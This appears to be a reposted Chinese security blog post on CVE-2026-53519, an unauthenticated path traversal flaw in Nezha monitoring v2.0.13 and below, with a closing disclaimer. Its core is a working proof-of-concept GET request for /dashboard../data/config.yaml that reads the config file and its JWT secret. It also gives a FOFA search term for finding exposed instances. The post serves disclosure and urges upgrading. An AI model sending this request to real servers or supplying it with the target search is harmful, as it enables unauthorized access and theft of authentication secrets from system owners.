文章总结： 哪吒监控Nezhav2.0.13及以下版本存在未授权路径穿越漏洞CVE-2026-53519，CVSS评分9.1。攻击者通过构造GET请求可读取配置文件获取JWT密钥，文档提供了具体POC示例和影响说明，建议用户及时升级版本修复漏洞。 综合评分： 84 文章分类： 漏洞分析,WEB安全,渗透测试,应急响应,漏洞预警

【复现】哪吒监控Nezha未授权路径穿越漏洞

原创

泼猴 泼猴

表哥带我

2026年6月16日 16:48 陕西

在小说阅读器读本章

去阅读

哪吒监控（Nezha）v2.0.13 以下版本存在严重未授权路径穿越漏洞，编号 CVE-2026-53519，CVSS 评分为 9.1 属高危级别。攻击者通过构造 GET 请求（如 /dashboard../data/config.yaml）即可读取配置文件，获取其中的 JWT 密钥。

哪吒监控（Nezha）

fofa搜索：nezha

POC：

GET /dashboard../data/config.yaml HTTP/1.1
Host: jk.h-acker.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：表哥带我 泼猴 泼猴《【复现】哪吒监控Nezha未授权路径穿越漏洞》